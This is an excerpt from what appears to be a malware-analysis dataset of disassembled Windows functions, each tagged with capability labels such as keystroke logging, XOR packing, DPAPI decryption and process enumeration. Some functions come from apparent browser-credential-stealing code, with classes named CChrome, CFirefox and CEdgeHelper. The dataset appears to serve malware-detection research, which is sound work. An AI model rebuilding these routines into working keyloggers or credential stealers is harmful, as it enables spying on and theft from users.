joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4096e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
jmp 0x409789
cmp dword [esi + 0x10], 0x1000
jne 0x409775
test byte [esi + 0x15], 1
jne 0x409775
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409734
cmp eax, 2
je 0x409734
cmp eax, 0x10
je 0x409734
cmp eax, 0x20
jne 0x409749
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409749
mov bl, 1
xor ebp, ebp
jmp 0x40975a
mov eax, dword [esi]
add eax, ebp
call fcn.004096d8
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40974d
test bl, bl
je 0x409775
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40970c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x413790
Capabilities:
Hash data with md5

Disassembly:
movss xmm0, dword [0x4aa30c]
movss xmm1, dword [0x49eeb8]
subss xmm1, xmm0
movsd xmm3, qword [0x49bec0]
movss xmm0, dword [0x4aa37c]
addss xmm0, xmm1
movss dword [0x4aa37c], xmm0
mov dword [ecx], 0
movss xmm0, dword [0x4aa2c8]
subss xmm0, dword [0x49df5c]
movss dword [0x4aa2c8], xmm0
mov dword [ecx + 4], 0
imul eax, dword [0x4aa020], 0xdb7f42b1
mov dword [0x4aa020], eax
mov dword [ecx + 8], 0x67452301
movsd xmm0, qword [0x4aa2e8]
subsd xmm0, xmm3
movsd qword [0x4aa2e8], xmm0
movsd xmm1, qword [0x4aa2e8]
movsx eax, word [0x4aa3ac]
subsd xmm1, qword [0x49dac8]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm1, qword [0x49dbc0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov word [0x4aa3ac], ax
mov dword [ecx + 0xc], 0xefcdab89
movsd xmm0, qword [0x4aa240]
addsd xmm0, xmm3
movsd qword [0x4aa240], xmm0
movsd xmm0, qword [0x4aa240]
addsd xmm0, qword [0x49d1e8]
cvttsd2si eax, xmm0
mov word [0x4aa0bc], ax
mov dword [ecx + 0x10], 0x98badcfe
mov eax, dword [0x4aa370]
movsd xmm0, qword [0x4aa130]
movsd xmm1, qword [0x4aa338]
movd xmm2, eax
movsx eax, word [0x4aa060]
cvtdq2pd xmm2, xmm2
subsd xmm2, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm2
subsd xmm1, xmm0
movsd qword [0x4aa338], xmm1
movsd xmm0, qword [0x4aa130]
addsd xmm0, xmm3
movsd qword [0x4aa130], xmm0
mov dword [ecx + 0x14], 0x10325476
movsx eax, word [0x4aa41c]
sub eax, 0x37c7ce56
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [0x4aa120], xmm0
ret
Function at 0x43f9f0
Capabilities:
Terminate process

Disassembly:
inc word [0x4aa108]
movsx eax, word [0x4aa108]
movss xmm2, dword [0x4aa084]
sub eax, 0x583a2d62
movss xmm0, dword [0x4aa11c]
push dword [0x4ab1cc]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
addss xmm0, xmm1
subss xmm2, xmm0
movss dword [0x4aa084], xmm2
call fcn.00442450
add esp, 4
mov eax, 0xffffec0e
mov word [0x4aa458], ax
push 1
call fcn.004540c9
int3
Function at 0x481fd3
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00481dc7

Function at 0x484231
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00483a0b

Function at 0x48423c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00483c46

Function at 0x48e0e4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048dce9

Function at 0x48e0ef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048de6a
Function at 0x10001c80
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
cmp dword [0x101b23f0], 0
je 0x10001caf
push str.KeyLogCount_is_Start
push 0
push 0x47
push 0x10162474
push 0x10162498
call fcn.10145f00
add esp, 0x14
xor al, al
jmp 0x10001cef
push 0
push 0
push 0x10001bf0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x101b23f0], eax
cmp dword [0x101b23f0], 0
jne 0x10001ced
push str.StartWindowsKeyLogHook_Error
push 0
push 0x4c
push str..._srcKeyLogCountKeyLogCount.cpp
push str.CKeyLogCount::StartWindowsKeyLogHook
call fcn.10145f00
add esp, 0x14
xor al, al
jmp 0x10001cef
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x10008040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10152554
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x21c]
call fcn.10008210
mov eax, dword [ebp - 0x21c]
mov dword [eax], vtable.CChrome.0
mov ecx, dword [ebp - 0x21c]
add ecx, 4
call fcn.10003f70
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x21c]
add ecx, 0x1c
call fcn.10003f70
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.10003f70
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x21c]
add ecx, 0x4c
call fcn.10003f70
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x21c]
add ecx, 0x64
call fcn.1000ae40
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x21c]
mov dl, byte [ebp + 8]
mov byte [ecx + 0x70], dl
mov ecx, dword [ebp - 0x21c]
add ecx, 0x74
call fcn.1000ae40
mov byte [ebp - 4], 5
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea ecx, [ebp - 0x216]
push ecx
call sub.MSVCR120.dll_memset
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.10007da0
push 0
push 0x10162824
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.1000ae10
cmp eax, 0xffffffff
je 0x1000818e
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0x71], 1
mov ecx, dword [ebp - 0x21c]
call fcn.10008770
push 0x10162850
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.10007da0
jmp 0x100081b0
mov edx, dword [ebp - 0x21c]
mov byte [edx + 0x71], 0
mov eax, dword [ebp - 0x21c]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x21c]
add ecx, 0x74
call fcn.1000af60
push 0x10162854
mov ecx, dword [ebp - 0x21c]
add ecx, 0x4c
call fcn.10007da0
call fcn.100241b0
mov ecx, eax
call fcn.1000db00
push eax
mov ecx, dword [ebp - 0x21c]
add ecx, 4
call fcn.10007da0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret 4
Function at 0x10008a90
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101526c8
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x40]
call fcn.10004030
mov byte [ebp - 4], 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x50], esp
lea edx, [ebp + 0xc]
push edx
call fcn.10004030
mov dword [ebp - 0x54], eax
call fcn.1007dbc0
add esp, 0x18
mov byte [ebp - 0x42], al
movzx eax, byte [ebp - 0x42]
test eax, eax
je 0x10008b84
call fcn.100fd820
push eax
mov ecx, dword [ebp - 0x4c]
add ecx, 4
call fcn.10002bf0
push eax
push 0x10162afc
lea ecx, [ebp - 0x28]
push ecx
call fcn.1007cf90
add esp, 0x10
mov byte [ebp - 4], 2
push 0
lea ecx, [ebp - 0x28]
call fcn.10002bf0
push eax
lea ecx, [ebp + 0xc]
call fcn.10002bf0
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5c], esp
lea edx, [ebp - 0x28]
push edx
call fcn.10004030
mov dword [ebp - 0x58], eax
call fcn.1007dbc0
add esp, 0x18
mov byte [ebp - 0x41], al
movzx eax, byte [ebp - 0x41]
test eax, eax
je 0x10008b78
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x40]
call fcn.100035f0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.10003e00
lea edx, [ebp - 0x40]
push edx
mov ecx, dword [ebp + 8]
call fcn.1000dab0
mov eax, dword [ebp - 0x48]
or eax, 1
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.10003e00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.10003e00
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10009010
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x10], esp
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
call eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
call fcn.10008be0
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10009077
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.10009d80
mov ecx, dword [ebp - 8]
push ecx
call fcn.100f6550
add esp, 4
mov ecx, dword [ebp - 4]
add ecx, 0x1c
call fcn.10002bf0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov al, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a960
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 8]
call fcn.1000ad70
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
call fcn.10002000
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x1000a9ae
xor al, al
jmp 0x1000a9ca
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.100028e0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret 8

Function at 0x1000db20
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10152aa7
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x234], ecx
push 1
mov ecx, dword [ebp - 0x234]
call fcn.10008040
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x234]
mov dword [eax], vtable.COperaDev.0
mov ecx, dword [ebp - 0x234]
add ecx, 0x80
call fcn.10003f70
mov byte [ebp - 4], 1
xor ecx, ecx
mov word [ebp - 0x218], cx
push 0x206
push 0
lea edx, [ebp - 0x216]
push edx
call sub.MSVCR120.dll_memset
add esp, 0xc
push 0
push 0x1c
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x230]
call fcn.10003f70
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x23c], ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x240], esp
lea edx, [ebp - 0x218]
push edx
call fcn.10003d50
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp - 0x23c]
call fcn.1007ddd0
add esp, 0x18
lea ecx, [ebp - 0x230]
call fcn.10002bf0
push eax
push 0x10163754
lea eax, [ebp - 0x25c]
push eax
call fcn.1007cf90
add esp, 0xc
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x238]
push ecx
mov ecx, dword [ebp - 0x234]
add ecx, 0x80
call fcn.10003480
lea ecx, [ebp - 0x25c]
call fcn.10003e00
push 0
push 0x1016376c
mov ecx, dword [ebp - 0x234]
add ecx, 0x80
call fcn.1000ae10
cmp eax, 0xffffffff
je 0x1000dc91
mov edx, dword [ebp - 0x234]
mov byte [edx + 0x71], 1
mov ecx, dword [ebp - 0x234]
call fcn.1000def0
push 0x10163798
mov ecx, dword [ebp - 0x234]
add ecx, 0x80
call fcn.10007da0
jmp 0x1000dcb6
mov eax, dword [ebp - 0x234]
mov byte [eax + 0x71], 0
mov ecx, dword [ebp - 0x234]
add ecx, 0x80
push ecx
mov ecx, dword [ebp - 0x234]
add ecx, 0x74
call fcn.1000af60
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x230]
call fcn.10003e00
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret
Function at 0x1000eff0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10152c38
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.10002bf0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1000f050
mov byte [ebp - 0x2c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10003e00
mov al, byte [ebp - 0x2c]
jmp 0x1000f1da
mov ecx, dword [ebp - 0x34]
call fcn.1000f200
mov byte [ebp - 0x29], al
movzx eax, byte [ebp - 0x29]
test eax, eax
jne 0x1000f099
push str.init_ntdll_fail_
push 3
push 0x6e
push 0x10164398
push 0x10164334
call fcn.10146290
add esp, 0x14
mov byte [ebp - 0x2d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10003e00
mov al, byte [ebp - 0x2d]
jmp 0x1000f1da
mov ecx, dword [ebp - 0x34]
call fcn.10010290
mov byte [ebp - 0x29], al
movzx ecx, byte [ebp - 0x29]
test ecx, ecx
jne 0x1000f0e2
push str.Get_process_id_fail_
push 3
push 0x75
push 0x101643f0
push str.CEdgeHelper::GetHistoryData
call fcn.10146290
add esp, 0x14
mov byte [ebp - 0x2a], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10003e00
mov al, byte [ebp - 0x2a]
jmp 0x1000f1da
mov dword [ebp - 0x38], 0
jmp 0x1000f0f4
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], 4
jae 0x1000f1c4
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax*4 + 0x101ac060]
push ecx
lea ecx, [ebp - 0x64]
call fcn.10003d50
mov byte [ebp - 4], 1
lea edx, [ebp - 0x64]
push edx
mov ecx, dword [ebp - 0x34]
add ecx, 0x10
call fcn.10012c00
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
call fcn.10003e00
lea ecx, [ebp - 0x28]
call fcn.10003f70
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
push ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4c], esp
lea edx, [ebp + 8]
push edx
call fcn.10004030
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x34]
call fcn.1000f740
mov byte [ebp - 0x2e], al
mov cl, byte [ebp - 0x2e]
mov byte [ebp - 0x29], cl
movzx edx, byte [ebp - 0x29]
test edx, edx
jne 0x1000f187
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.10003e00
jmp 0x1000f0eb
push 0
mov ecx, dword [ebp - 0x34]
call fcn.100129e0
mov eax, dword [ebp + 0x20]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x40], esp
lea edx, [ebp - 0x28]
push edx
call fcn.10004030
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x34]
call fcn.100103d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.10003e00
jmp 0x1000f1c4
mov byte [ebp - 0x2b], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10003e00
mov al, byte [ebp - 0x2b]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x1000f330
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10152c81
mov eax, dword fs:[0]
push eax
sub esp, 0xa9c
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xa8c], ecx
xor eax, eax
mov word [ebp - 0xa18], ax
push 0x7fe
push 0
lea ecx, [ebp - 0xa16]
push ecx
call sub.MSVCR120.dll_memset
add esp, 0xc
lea edx, [ebp - 0xa18]
push edx
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 0
jne 0x1000f3a6
jmp 0x1000f5b9
lea eax, [ebp - 0xa18]
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa70], 0
mov ecx, 1
test ecx, ecx
je 0x1000f5b9
mov edx, dword [ebp - 0xa70]
cmp edx, dword [ebp - 0xa7c]
jl 0x1000f3dc
jmp 0x1000f5b9
lea eax, [ebp - 0xa18]
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa68]
push ecx
lea ecx, [ebp - 0xa30]
call fcn.10003d50
mov dword [ebp - 4], 0
push 0
push 0x5c
lea ecx, [ebp - 0xa30]
call fcn.10012a60
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 0xffffffff
je 0x1000f45d
mov edx, dword [ebp - 0xa74]
push edx
push 0
lea eax, [ebp - 0xaa8]
push eax
lea ecx, [ebp - 0xa30]
call fcn.10018a50
mov dword [ebp - 0xa88], eax
mov ecx, dword [ebp - 0xa88]
push ecx
lea ecx, [ebp - 0xa30]
call fcn.10003480
lea ecx, [ebp - 0xaa8]
call fcn.10003e00
xor edx, edx
mov word [ebp - 0x218], dx
push 0x206
push 0
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0xa30]
call fcn.10002bf0
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
jne 0x1000f4b5
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa30]
call fcn.10003e00
jmp 0x1000f5b9
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0xa60]
call fcn.10003d50
mov byte [ebp - 4], 1
lea eax, [ebp - 0xa30]
push eax
lea ecx, [ebp - 0xa48]
call fcn.10004030
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa48]
push ecx
lea edx, [ebp - 0xa60]
push edx
mov ecx, dword [ebp + 8]
call fcn.10012ab0
mov ecx, eax
call fcn.100035f0
mov eax, dword [ebp - 0xa68]
mov dword [ebp - 0xa64], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 2
mov dword [ebp - 0xa80], ecx
mov edx, dword [ebp - 0xa64]
mov ax, word [edx]
mov word [ebp - 0xa6a], ax
add dword [ebp - 0xa64], 2
cmp word [ebp - 0xa6a], 0
jne 0x1000f519
mov ecx, dword [ebp - 0xa64]
sub ecx, dword [ebp - 0xa80]
sar ecx, 1
mov dword [ebp - 0xa84], ecx
mov edx, dword [ebp - 0xa84]
add edx, 1
mov dword [ebp - 0xa78], edx
mov eax, dword [ebp - 0xa78]
mov ecx, dword [ebp - 0xa68]
lea edx, [ecx + eax*2]
mov dword [ebp - 0xa68], edx
mov eax, dword [ebp - 0xa70]
add eax, dword [ebp - 0xa78]
mov dword [ebp - 0xa70], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa48]
call fcn.10003e00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa60]
call fcn.10003e00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa30]
call fcn.10003e00
jmp 0x1000f3bc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret 4
Function at 0x10010290
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10152d5b
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x244], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0xffffffff
jne 0x100102e1
xor al, al
jmp 0x100103b0
mov dword [ebp - 0x23c], 0
push 0x228
push 0
lea eax, [ebp - 0x238]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
lea ecx, [ebp - 0x23c]
push ecx
mov edx, dword [ebp - 0x240]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x10010334
mov eax, dword [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x100103b0
mov ecx, 1
test ecx, ecx
je 0x100103a1
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x25c]
call fcn.10003d50
mov dword [ebp - 4], 0
lea eax, [ebp - 0x25c]
push eax
mov ecx, dword [ebp - 0x244]
add ecx, 0x10
call fcn.10012c00
mov ecx, dword [ebp - 0x234]
mov dword [eax], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x25c]
call fcn.10003e00
lea edx, [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1001039f
jmp 0x100103a1
jmp 0x10010334
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret
Function at 0x10018b60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101530f8
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x21c]
call fcn.10008210
mov eax, dword [ebp - 0x21c]
mov dword [eax], vtable.CFirefox.0
mov ecx, dword [ebp - 0x21c]
add ecx, 4
call fcn.10003f70
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x21c]
add ecx, 0x1c
call fcn.10003f70
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.10003f70
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x21c]
add ecx, 0x50
call fcn.1000ae40
mov byte [ebp - 4], 3
xor ecx, ecx
mov word [ebp - 0x218], cx
push 0x206
push 0
lea edx, [ebp - 0x216]
push edx
call sub.MSVCR120.dll_memset
add esp, 0xc
push 0
push 0x1a
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x218]
push ecx
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.10007da0
push 0
push 0x101656b8
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.1000ae10
cmp eax, 0xffffffff
je 0x10018c7e
mov edx, dword [ebp - 0x21c]
mov byte [edx + 0x4c], 1
mov ecx, dword [ebp - 0x21c]
call fcn.10018f80
push 0x101656e4
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
call fcn.10007da0
jmp 0x10018ca0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0x4c], 0
mov ecx, dword [ebp - 0x21c]
add ecx, 0x34
push ecx
mov ecx, dword [ebp - 0x21c]
add ecx, 0x50
call fcn.1000af60
call fcn.100241b0
mov ecx, eax
call fcn.1000db00
push eax
mov ecx, dword [ebp - 0x21c]
add ecx, 4
call fcn.10007da0
push 0x101656e8
mov ecx, dword [ebp - 0x21c]
add ecx, 0x1c
call fcn.10007da0
mov edx, dword [ebp - 0x21c]
mov dword [edx + 0x5c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret